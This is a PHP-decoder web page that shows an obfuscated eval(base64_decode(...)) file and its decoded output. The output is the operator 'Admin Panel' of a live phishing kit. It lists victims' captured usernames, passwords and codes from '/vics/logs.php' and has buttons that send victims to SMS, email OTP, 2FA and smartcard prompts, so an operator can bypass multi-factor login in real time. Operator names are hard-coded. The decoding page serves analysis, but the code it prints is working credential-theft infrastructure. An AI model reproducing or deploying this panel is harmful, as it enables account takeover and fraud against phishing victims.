Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGgyc01sOyBwRHNGMTogPz4KPCFkb2N0eXBlaHRtbD48aHRtbCBsYW5n..
Decoded Output download
goto h2sMl; pDsF1: ?>
<!doctypehtml><html lang="en"><head><title>Admin Panel V1.0.1</title><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"><link href="https://bootswatch.com/4/darkly/bootstrap.css"rel="stylesheet"><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script><script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"></script><script src="alertify.min.js"></script><link href="alertify.min.css"rel="stylesheet"><link href="default.min.css"rel="stylesheet"><link href="semantic.min.css"rel="stylesheet"><link href="bootstrap.min.css"rel="stylesheet"></head><body class="bg-dark"style="margin:0"><script>function copy(that){
var inp =document.createElement('input');
document.body.appendChild(inp)
if(that.textContent != 'WrongAnswerEMAILSMSFinish'){
inp.value =that.textContent
inp.select();
document.execCommand('copy',false);
}
inp.remove();
}
$(document).ready(function(){
$('#about').click(function(){
$('#modonk').modal('show')
});
});
main = '..'
key='<?php goto zbn9Z; wgDIf: if (isset($_GET["user"])) { if (!in_array($_GET["user"], $allowedUsernames)) { header("Location: login.php"); die; } } else { die; } goto pDsF1; h2sMl: session_start(); goto ZVr36; ZVr36: $allowedUsernames = array("bk", "leon", "mrx", "slacka"); goto WC31T; zbn9Z: echo $_GET["user"]; goto rfcxG; WC31T: if (!isset($_SESSION["logged_in"]) || $_SESSION["logged_in"] !== true) { header("Location: login.php"); die; } goto wgDIf; rfcxG: ?>
'
t=0
md5 = '';
var last='';
var finito = setInterval(function(){
$.ajax({
url: main+'/vics/logs.php?key='+key,
type: 'GET',
dataType: 'json',
success: function(response){
if(response['md5'] != md5){
md5 = response['md5'];
msg="";
if(response != last){
last = response;
}
temp = response['victims'].sort(function( a , b){
if(a['t'] < b['t']) return 1;
if(a['t'] > b['t']) return -1;
return 0;
})
for(let i = 0; i < response['victims'].length; i++){
curr1 = response['victims'][i]
uniq = curr1['uniq'];
id = curr1['id'];
username = curr1['u'];
chars = curr1['p'];
choice = curr1['o'];
me = curr1['me'];
time = curr1['t'];
page = curr1['page'];
active = Math.floor(Date.now())-curr1['active'];
if(curr1['delete'] == false){
if(curr1['claim'] == ''){
msg += "<tr><td id='info'>"+id+"</td><td id='info'>"+username+"</td><td id='info'>"+chars+"</td><td id='info'>"+choice+"</td><td id='info'>"+page+"</td><td style=\"float: left\"><table><tr><td><a href=\"javascript:respond('"+uniq+"','0')\" id=\"w\" value=\""+uniq+"\" class=\"btn btn-info\">Wrong</a></td><td><a href=\"javascript:respond('"+uniq+"','2')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">SMS</a></td><td><a href=\"javascript:respond('"+uniq+"','4')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">EmailOTP</a></td><td><a href=\"javascript:respond('"+uniq+"','5')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">2FA</a></td><td><a href=\"javascript:respond('"+uniq+"','7'+prompt('Smartcard Code: '))\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">Smartcard</a></td><td><a href=\"javascript:respond('"+uniq+"','3')\" id=\"f\" value=\""+uniq+"\" class=\"btn btn-info\">Finish</a></td><td><a href=\"javascript:claim('"+key+"','"+me+"')\" id=\"f\" value=\""+uniq+"\" class=\"btn btn-warning\">CLAIM</a></td><td><a href=\"javascript:deletes('"+me+"')\" id=\"f\" value=\""+uniq+"\" class=\"btn btn-warning\">DELETE</a></td></tr></table></td></tr></table></td></tr>";
}
else{msg += "<tr><td id='info'>"+id+"</td><td id='info'>"+username+"</td><td id='info'>"+chars+"</td><td id='info'>"+choice+"</td><td id='info'>"+page+"</td><td style=\"float: left\"><table><tr><td><a href=\"javascript:respond('"+uniq+"','0')\" id=\"w\" value=\""+uniq+"\" class=\"btn btn-info\">Wrong</a></td><td><a href=\"javascript:respond('"+uniq+"','2')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">SMS</a></td><td><a href=\"javascript:respond('"+uniq+"','4')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">EmailOTP</a></td><td><a href=\"javascript:respond('"+uniq+"','5')\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">2FA</a></td><td><a href=\"javascript:respond('"+uniq+"','7'+prompt('Smartcard Code: '))\" id=\"m\" value=\""+uniq+"\" class=\"btn btn-info\">Smartcard</a></td><td><a href=\"javascript:respond('"+uniq+"','3')\" id=\"f\" value=\""+uniq+"\" class=\"btn btn-info\">Finish</a></td><td></td></tr></table></td></tr>";
}}else{}
}
if(document.getElementById("content").innerHTML != msg){
document.getElementById("content").innerHTML = msg;
t=response.length;$("td#info").click(function(){
copy(this);
copied = this.textContent;
if(copied != 'WrongAnswerEMAILSMSFinish'){
alertify.success(copied+' Copied');}
});}
}
else if(response.length ==0){
t=0;
document.getElementById("content").innerHTML = "";
}
}
});
}, 750);
function httpGetAsync(uri)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
console.log('done');
}
xmlHttp.open("GET", uri, true); // true for asynchronous
xmlHttp.send(null);
}
function respond(uniq, resp)
{
var URI = main+'/uniq/input.php?uniq='+uniq+'&resp='+resp;
httpGetAsync(URI);
alertify.success('Sent!');
}
function claim(key,me){
var URI = main+'/vics/claim.php?key='+key+'&me='+me;
httpGetAsync(URI);
alertify.success('Claimed');
}
function deletes(me){
var URI = main+'/vics/del.php?me='+me;
httpGetAsync(URI);
alertify.error('Deleted!');
}
function mobile(){
thediv = document.getElementById('table');
contt = thediv.className;
thediv.className = contt.replace("w-50", "").trim();
}
function letters(uniq){
document.getElementById('sendbutton').innerHTML = "<a href=\"javascript:letter('"+uniq+"')\" id=\"sendletter\" value=\"\" class=\"btn btn-info\">Send</a>"
$('#letters').modal('show')
}
function letter(uniq){
respond(uniq,'1'+document.getElementById('l1').value+document.getElementById('l2').value+document.getElementById('l3').value)
}
var visitorCount = setInterval(function() {
$.ajax({
url: 'controller.php?visitlog',
type: 'GET',
success: function(data) {
//console.log(data)
var log = JSON.parse(data)
var visitor_log = log.visitorlog;
//console.log(total_user)
if (visitor_log != '') {
document.getElementById("ipdata").textContent = visitor_log;
}
//clearInterval(timmer);
}
});
}, 3000);</script><nav class="bg-dark navbar navbar-dark navbar-expand-lg"><a class="navbar-brand"href="#">Panel</a> <button class="navbar-toggler"type="button"aria-label="Toggle navigation"aria-controls="navbarColor02"aria-expanded="false"data-target="#navbarColor02"data-toggle="collapse"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse"id="navbarColor02"><ul class="mr-auto navbar-nav"><li class="nav-item active"><a class="nav-link"href="#">Home <span class="sr-only">(current)</span></a></li><li class="nav-item"><a class="nav-link"id="mobile"onclick="mobile()">Mobile</a></li><li class="nav-item"><a class="nav-link"href="#"id="about">About</a></li><li class="nav-item"><a class="nav-link"id="">Visits: <span id="ipdata">-</span></a></li></ul></div></nav><div class="fade modal"id="modonk"><div class="modal-dialog"role="document"><div class="modal-content"><div class="modal-header"><h5 class="modal-title">woof woof</h5><button class="close"type="button"aria-label="Close"data-dismiss="modal"><span aria-hidden="true"></span></button></div><div class="modal-body"><p>My parents left me. Anyways yeah made by slacka not ur marj so yh yk.</p></div></div></div></div><div class="fade modal"id="letters"><div class="modal-dialog"role="document"><div class="modal-content"><div class="modal-header"><h5 class="modal-title">Letters</h5><button class="close"type="button"aria-label="Close"data-dismiss="modal"><span aria-hidden="true"></span></button></div><div class="modal-body"><table class="table table-dark table-hover table-striped"style="width:240px"><thead><tr><th style="width:70px">1</th><th style="width:70px">2</th><th style="width:70px">3</th></tr></thead><tbody><tr><td><select id="l1"style="width:60px"><option value="1">1st</option><option value="2">2nd</option><option value="3">3rd</option><option value="4">4th</option><option value="5">5th</option><option value="6">6th</option><option value="7">second last</option><option value="8">last</option></select></td><td><select id="l2"style="width:60px"><option value="1">1st</option><option value="2">2nd</option><option value="3">3rd</option><option value="4">4th</option><option value="5">5th</option><option value="6">6th</option><option value="7">second last</option><option value="8">last</option></select></td><td><select id="l3"style="width:60px"><option value="1">1st</option><option value="2">2nd</option><option value="3">3rd</option><option value="4">4th</option><option value="5">5th</option><option value="6">6th</option><option value="7">second last</option><option value="8">last</option></select></td></tr></tbody></table><div id="sendbutton"><a class="btn btn-info"href="javascript:letter(UNIQ)"id="sendletter"value="">Send</a></div></div></div></div></div><div class="bg-dark mx-auto w-50"id="table"><table class="table table-dark table-hover table-striped"><thead><tr><th>ID</th><th>Username</th><th>Password</th><th>Code</th><th>Page</th><th class="w-50">Actions</th></tr></thead><tbody id="content"></tbody></table></div><div class="toast"><div class="toast-header"><strong class="mr-auto text-primary">Copied Text</strong> <small class="text-muted">Now</small> <button class="close mb-1 ml-2"type="button"data-dismiss="toast"></button></div><div class="toast-body"id="current"></div></div></body></htm
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGgyc01sOyBwRHNGMTogPz4KPCFkb2N0eXBlaHRtbD48aHRtbCBsYW5nPSJlbiI+PGhlYWQ+PHRpdGxlPkFkbWluIFBhbmVsIFYxLjAuMTwvdGl0bGU+PG1ldGEgY2hhcnNldD0idXRmLTgiPjxtZXRhIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEibmFtZT0idmlld3BvcnQiPjxsaW5rIGhyZWY9Imh0dHBzOi8vYm9vdHN3YXRjaC5jb20vNC9kYXJrbHkvYm9vdHN0cmFwLmNzcyJyZWw9InN0eWxlc2hlZXQiPjxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjUuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcG9wcGVyLmpzLzEuMTYuMC91bWQvcG9wcGVyLm1pbi5qcyI+PC9zY3JpcHQ+PHNjcmlwdCBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuNS4yL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jcnlwdG8tanMvMy4xLjktMS9jb3JlLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzMuMS45LTEvbWQ1LmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iYWxlcnRpZnkubWluLmpzIj48L3NjcmlwdD48bGluayBocmVmPSJhbGVydGlmeS5taW4uY3NzInJlbD0ic3R5bGVzaGVldCI+PGxpbmsgaHJlZj0iZGVmYXVsdC5taW4uY3NzInJlbD0ic3R5bGVzaGVldCI+PGxpbmsgaHJlZj0ic2VtYW50aWMubWluLmNzcyJyZWw9InN0eWxlc2hlZXQiPjxsaW5rIGhyZWY9ImJvb3RzdHJhcC5taW4uY3NzInJlbD0ic3R5bGVzaGVldCI+PC9oZWFkPjxib2R5IGNsYXNzPSJiZy1kYXJrInN0eWxlPSJtYXJnaW46MCI+PHNjcmlwdD5mdW5jdGlvbiBjb3B5KHRoYXQpewp2YXIgaW5wID1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOwpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlucCkKaWYodGhhdC50ZXh0Q29udGVudCAhPSAnV3JvbmdBbnN3ZXJFTUFJTFNNU0ZpbmlzaCcpewppbnAudmFsdWUgPXRoYXQudGV4dENvbnRlbnQKaW5wLnNlbGVjdCgpOwpkb2N1bWVudC5leGVjQ29tbWFuZCgnY29weScsZmFsc2UpOwp9CiAgICBpbnAucmVtb3ZlKCk7Cn0KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXsKCgogICQoJyNhYm91dCcpLmNsaWNrKGZ1bmN0aW9uKCl7CiAgICAkKCcjbW9kb25rJykubW9kYWwoJ3Nob3cnKQogIH0pOwp9KTsKCm1haW4gPSAnLi4nCmtleT0nPD9waHAgIGdvdG8gemJuOVo7IHdnRElmOiBpZiAoaXNzZXQoJF9HRVRbIlwxNjVcMTYzXDE0NVx4NzIiXSkpIHsgaWYgKCFpbl9hcnJheSgkX0dFVFsiXHg3NVx4NzNceDY1XDE2MiJdLCAkYWxsb3dlZFVzZXJuYW1lcykpIHsgaGVhZGVyKCJcMTE0XHg2ZlwxNDNceDYxXDE2NFx4NjlceDZmXDE1Nlx4M2FceDIwXDE1NFwxNTdceDY3XHg2OVwxNTZceDJlXDE2MFx4NjhcMTYwIik7IGRpZTsgfSB9IGVsc2UgeyBkaWU7IH0gZ290byBwRHNGMTsgaDJzTWw6IHNlc3Npb25fc3RhcnQoKTsgZ290byBaVnIzNjsgWlZyMzY6ICRhbGxvd2VkVXNlcm5hbWVzID0gYXJyYXkoIlwxNDJceDZiIiwgIlx4NmNceDY1XHg2Zlx4NmUiLCAiXHg2ZFwxNjJcMTcwIiwgIlwxNjNceDZjXHg2MVwxNDNceDZiXHg2MSIpOyBnb3RvIFdDMzFUOyB6Ym45WjogZWNobyAkX0dFVFsiXDE2NVx4NzNceDY1XHg3MiJdOyBnb3RvIHJmY3hHOyBXQzMxVDogaWYgKCFpc3NldCgkX1NFU1NJT05bIlwxNTRcMTU3XDE0N1x4NjdceDY1XDE0NFx4NWZceDY5XHg2ZSJdKSB8fCAkX1NFU1NJT05bIlwxNTRcMTU3XHg2N1wxNDdcMTQ1XHg2NFx4NWZcMTUxXDE1NiJdICE9PSB0cnVlKSB7IGhlYWRlcigiXDExNFx4NmZceDYzXDE0MVwxNjRcMTUxXHg2Zlx4NmVceDNhXHgyMFx4NmNceDZmXHg2N1x4NjlceDZlXHgyZVx4NzBceDY4XHg3MCIpOyBkaWU7IH0gZ290byB3Z0RJZjsgcmZjeEc6ID8+CicKdD0wCm1kNSA9ICcnOwp2YXIgbGFzdD0nJzsKdmFyIGZpbml0byA9IHNldEludGVydmFsKGZ1bmN0aW9uKCl7CiAgJC5hamF4KHsKICAgIHVybDogbWFpbisnL3ZpY3MvbG9ncy5waHA/a2V5PScra2V5LAogICAgdHlwZTogJ0dFVCcsCiAgICBkYXRhVHlwZTogJ2pzb24nLAogICAgc3VjY2VzczogZnVuY3Rpb24ocmVzcG9uc2UpewogICAgICBpZihyZXNwb25zZVsnbWQ1J10gIT0gbWQ1KXsKICAgICAgICAgIG1kNSA9IHJlc3BvbnNlWydtZDUnXTsKICAgICAgICAgIAogICAgICAgIG1zZz0iIjsKICAgICAgICBpZihyZXNwb25zZSAhPSBsYXN0KXsKICAgICAgICAgICAgbGFzdCA9IHJlc3BvbnNlOwogICAgICAgIH0KICAgICAgICB0ZW1wID0gcmVzcG9uc2VbJ3ZpY3RpbXMnXS5zb3J0KGZ1bmN0aW9uKCBhICwgYil7CiAgICBpZihhWyd0J10gPCBiWyd0J10pIHJldHVybiAxOwogICAgaWYoYVsndCddID4gYlsndCddKSByZXR1cm4gLTE7CiAgICByZXR1cm4gMDsKfSkKICAgICAgICBmb3IobGV0IGkgPSAwOyBpIDwgcmVzcG9uc2VbJ3ZpY3RpbXMnXS5sZW5ndGg7IGkrKyl7CiAgICBjdXJyMSA9IHJlc3BvbnNlWyd2aWN0aW1zJ11baV0KICAgICAgICAgIHVuaXEgPSBjdXJyMVsndW5pcSddOwogICAgICAgICAgaWQgPSBjdXJyMVsnaWQnXTsKICAgICAgICAgIHVzZXJuYW1lID0gY3VycjFbJ3UnXTsKICAgICAgICAgIGNoYXJzID0gY3VycjFbJ3AnXTsKICAgICAgICAgIGNob2ljZSA9IGN1cnIxWydvJ107Cm1lID0gY3VycjFbJ21lJ107CiAgICAgICAgICB0aW1lID0gY3VycjFbJ3QnXTsKICAgICAgICAgIHBhZ2UgPSBjdXJyMVsncGFnZSddOwogICAgICAgICAgYWN0aXZlID0gTWF0aC5mbG9vcihEYXRlLm5vdygpKS1jdXJyMVsnYWN0aXZlJ107CiAgICAgICAgICBpZihjdXJyMVsnZGVsZXRlJ10gPT0gZmFsc2UpewppZihjdXJyMVsnY2xhaW0nXSA9PSAnJyl7CiAgICAgICAgICBtc2cgKz0gIjx0cj48dGQgaWQ9J2luZm8nPiIraWQrIjwvdGQ+PHRkIGlkPSdpbmZvJz4iK3VzZXJuYW1lKyI8L3RkPjx0ZCBpZD0naW5mbyc+IitjaGFycysiPC90ZD48dGQgaWQ9J2luZm8nPiIrY2hvaWNlKyI8L3RkPjx0ZCBpZD0naW5mbyc+IitwYWdlKyI8L3RkPjx0ZCBzdHlsZT1cImZsb2F0OiBsZWZ0XCI+PHRhYmxlPjx0cj48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6cmVzcG9uZCgnIit1bmlxKyInLCcwJylcIiBpZD1cIndcIiB2YWx1ZT1cIiIrdW5pcSsiXCIgY2xhc3M9XCJidG4gYnRuLWluZm9cIj5Xcm9uZzwvYT48L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDpyZXNwb25kKCciK3VuaXErIicsJzInKVwiIGlkPVwibVwiIHZhbHVlPVwiIit1bmlxKyJcIiBjbGFzcz1cImJ0biBidG4taW5mb1wiPlNNUzwvYT48L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDpyZXNwb25kKCciK3VuaXErIicsJzQnKVwiIGlkPVwibVwiIHZhbHVlPVwiIit1bmlxKyJcIiBjbGFzcz1cImJ0biBidG4taW5mb1wiPkVtYWlsT1RQPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnNScpXCIgaWQ9XCJtXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+MkZBPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnNycrcHJvbXB0KCdTbWFydGNhcmQgQ29kZTogJykpXCIgaWQ9XCJtXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+U21hcnRjYXJkPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnMycpXCIgaWQ9XCJmXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+RmluaXNoPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OmNsYWltKCciK2tleSsiJywnIittZSsiJylcIiBpZD1cImZcIiB2YWx1ZT1cIiIrdW5pcSsiXCIgY2xhc3M9XCJidG4gYnRuLXdhcm5pbmdcIj5DTEFJTTwvYT48L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDpkZWxldGVzKCciK21lKyInKVwiIGlkPVwiZlwiIHZhbHVlPVwiIit1bmlxKyJcIiBjbGFzcz1cImJ0biBidG4td2FybmluZ1wiPkRFTEVURTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+IjsKICAgIH0KZWxzZXttc2cgKz0gIjx0cj48dGQgaWQ9J2luZm8nPiIraWQrIjwvdGQ+PHRkIGlkPSdpbmZvJz4iK3VzZXJuYW1lKyI8L3RkPjx0ZCBpZD0naW5mbyc+IitjaGFycysiPC90ZD48dGQgaWQ9J2luZm8nPiIrY2hvaWNlKyI8L3RkPjx0ZCBpZD0naW5mbyc+IitwYWdlKyI8L3RkPjx0ZCBzdHlsZT1cImZsb2F0OiBsZWZ0XCI+PHRhYmxlPjx0cj48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6cmVzcG9uZCgnIit1bmlxKyInLCcwJylcIiBpZD1cIndcIiB2YWx1ZT1cIiIrdW5pcSsiXCIgY2xhc3M9XCJidG4gYnRuLWluZm9cIj5Xcm9uZzwvYT48L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDpyZXNwb25kKCciK3VuaXErIicsJzInKVwiIGlkPVwibVwiIHZhbHVlPVwiIit1bmlxKyJcIiBjbGFzcz1cImJ0biBidG4taW5mb1wiPlNNUzwvYT48L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDpyZXNwb25kKCciK3VuaXErIicsJzQnKVwiIGlkPVwibVwiIHZhbHVlPVwiIit1bmlxKyJcIiBjbGFzcz1cImJ0biBidG4taW5mb1wiPkVtYWlsT1RQPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnNScpXCIgaWQ9XCJtXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+MkZBPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnNycrcHJvbXB0KCdTbWFydGNhcmQgQ29kZTogJykpXCIgaWQ9XCJtXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+U21hcnRjYXJkPC9hPjwvdGQ+PHRkPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnJlc3BvbmQoJyIrdW5pcSsiJywnMycpXCIgaWQ9XCJmXCIgdmFsdWU9XCIiK3VuaXErIlwiIGNsYXNzPVwiYnRuIGJ0bi1pbmZvXCI+RmluaXNoPC9hPjwvdGQ+PHRkPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj4iOwp9fWVsc2V7fQogICAgICAgIH0KICAgICAgICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29udGVudCIpLmlubmVySFRNTCAhPSBtc2cpewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb250ZW50IikuaW5uZXJIVE1MID0gbXNnOwogICAgICAgIAogICAgICAgIHQ9cmVzcG9uc2UubGVuZ3RoOyQoInRkI2luZm8iKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHkodGhpcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgY29waWVkID0gdGhpcy50ZXh0Q29udGVudDsKICAgICAgICAgICAgICAgICAgICAgICAgICBpZihjb3BpZWQgIT0gJ1dyb25nQW5zd2VyRU1BSUxTTVNGaW5pc2gnKXsKICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydGlmeS5zdWNjZXNzKGNvcGllZCsnIENvcGllZCcpO30KICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgIH0pO30KICAgICAgfQogICAgICBlbHNlIGlmKHJlc3BvbnNlLmxlbmd0aCA9PTApewogICAgICAgIHQ9MDsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29udGVudCIpLmlubmVySFRNTCA9ICIiOwogICAgICB9ICAgICAgCiAgICB9CiAgfSk7Cn0sIDc1MCk7ICAgICAKICAgICAgICAKZnVuY3Rpb24gaHR0cEdldEFzeW5jKHVyaSkKewogICAgdmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgIHhtbEh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7IAogICAgICAgIGlmICh4bWxIdHRwLnJlYWR5U3RhdGUgPT0gNCAmJiB4bWxIdHRwLnN0YXR1cyA9PSAyMDApCiAgICAgICAgICAgIGNvbnNvbGUubG9nKCdkb25lJyk7CiAgICB9CiAgICB4bWxIdHRwLm9wZW4oIkdFVCIsIHVyaSwgdHJ1ZSk7IC8vIHRydWUgZm9yIGFzeW5jaHJvbm91cyAKICAgIHhtbEh0dHAuc2VuZChudWxsKTsKfQpmdW5jdGlvbiByZXNwb25kKHVuaXEsIHJlc3ApCnsKICB2YXIgVVJJID0gbWFpbisnL3VuaXEvaW5wdXQucGhwP3VuaXE9Jyt1bmlxKycmcmVzcD0nK3Jlc3A7CiAgaHR0cEdldEFzeW5jKFVSSSk7CiAgYWxlcnRpZnkuc3VjY2VzcygnU2VudCEnKTsKfQpmdW5jdGlvbiBjbGFpbShrZXksbWUpewogIHZhciBVUkkgPSBtYWluKycvdmljcy9jbGFpbS5waHA/a2V5PScra2V5KycmbWU9JyttZTsKICBodHRwR2V0QXN5bmMoVVJJKTsKICBhbGVydGlmeS5zdWNjZXNzKCdDbGFpbWVkJyk7Cn0KZnVuY3Rpb24gZGVsZXRlcyhtZSl7CiAgICB2YXIgVVJJID0gbWFpbisnL3ZpY3MvZGVsLnBocD9tZT0nK21lOwogIGh0dHBHZXRBc3luYyhVUkkpOwogIGFsZXJ0aWZ5LmVycm9yKCdEZWxldGVkIScpOwp9CmZ1bmN0aW9uIG1vYmlsZSgpewogIHRoZWRpdiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YWJsZScpOwogIGNvbnR0ID0gdGhlZGl2LmNsYXNzTmFtZTsKICB0aGVkaXYuY2xhc3NOYW1lID0gY29udHQucmVwbGFjZSgidy01MCIsICIiKS50cmltKCk7Cn0KCmZ1bmN0aW9uIGxldHRlcnModW5pcSl7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlbmRidXR0b24nKS5pbm5lckhUTUwgPSAiPGEgaHJlZj1cImphdmFzY3JpcHQ6bGV0dGVyKCciK3VuaXErIicpXCIgaWQ9XCJzZW5kbGV0dGVyXCIgdmFsdWU9XCJcIiBjbGFzcz1cImJ0biBidG4taW5mb1wiPlNlbmQ8L2E+IgokKCcjbGV0dGVycycpLm1vZGFsKCdzaG93JykKfQpmdW5jdGlvbiBsZXR0ZXIodW5pcSl7CiAgcmVzcG9uZCh1bmlxLCcxJytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbDEnKS52YWx1ZStkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbDInKS52YWx1ZStkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbDMnKS52YWx1ZSkKfSAKICB2YXIgdmlzaXRvckNvdW50ID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7CiAgICAgICQuYWpheCh7CiAgICAgICAgdXJsOiAnY29udHJvbGxlci5waHA/dmlzaXRsb2cnLAogICAgICAgIHR5cGU6ICdHRVQnLAogICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgIC8vY29uc29sZS5sb2coZGF0YSkKICAgICAgICAgIHZhciBsb2cgPSBKU09OLnBhcnNlKGRhdGEpCiAgICAgICAgICB2YXIgdmlzaXRvcl9sb2cgPSBsb2cudmlzaXRvcmxvZzsKICAgICAgICAgIC8vY29uc29sZS5sb2codG90YWxfdXNlcikKICAgICAgICAgIGlmICh2aXNpdG9yX2xvZyAhPSAnJykgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaXBkYXRhIikudGV4dENvbnRlbnQgPSB2aXNpdG9yX2xvZzsKICAgICAgICAgIH0KICAgICAgICAgIC8vY2xlYXJJbnRlcnZhbCh0aW1tZXIpOwogICAgICAgIH0KCiAgICAgIH0pOwoKICAgIH0sIDMwMDApOzwvc2NyaXB0PjxuYXYgY2xhc3M9ImJnLWRhcmsgbmF2YmFyIG5hdmJhci1kYXJrIG5hdmJhci1leHBhbmQtbGciPjxhIGNsYXNzPSJuYXZiYXItYnJhbmQiaHJlZj0iIyI+UGFuZWw8L2E+IDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyInR5cGU9ImJ1dHRvbiJhcmlhLWxhYmVsPSJUb2dnbGUgbmF2aWdhdGlvbiJhcmlhLWNvbnRyb2xzPSJuYXZiYXJDb2xvcjAyImFyaWEtZXhwYW5kZWQ9ImZhbHNlImRhdGEtdGFyZ2V0PSIjbmF2YmFyQ29sb3IwMiJkYXRhLXRvZ2dsZT0iY29sbGFwc2UiPjxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+PC9idXR0b24+PGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlImlkPSJuYXZiYXJDb2xvcjAyIj48dWwgY2xhc3M9Im1yLWF1dG8gbmF2YmFyLW5hdiI+PGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPjxhIGNsYXNzPSJuYXYtbGluayJocmVmPSIjIj5Ib21lIDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPjwvbGk+PGxpIGNsYXNzPSJuYXYtaXRlbSI+PGEgY2xhc3M9Im5hdi1saW5rImlkPSJtb2JpbGUib25jbGljaz0ibW9iaWxlKCkiPk1vYmlsZTwvYT48L2xpPjxsaSBjbGFzcz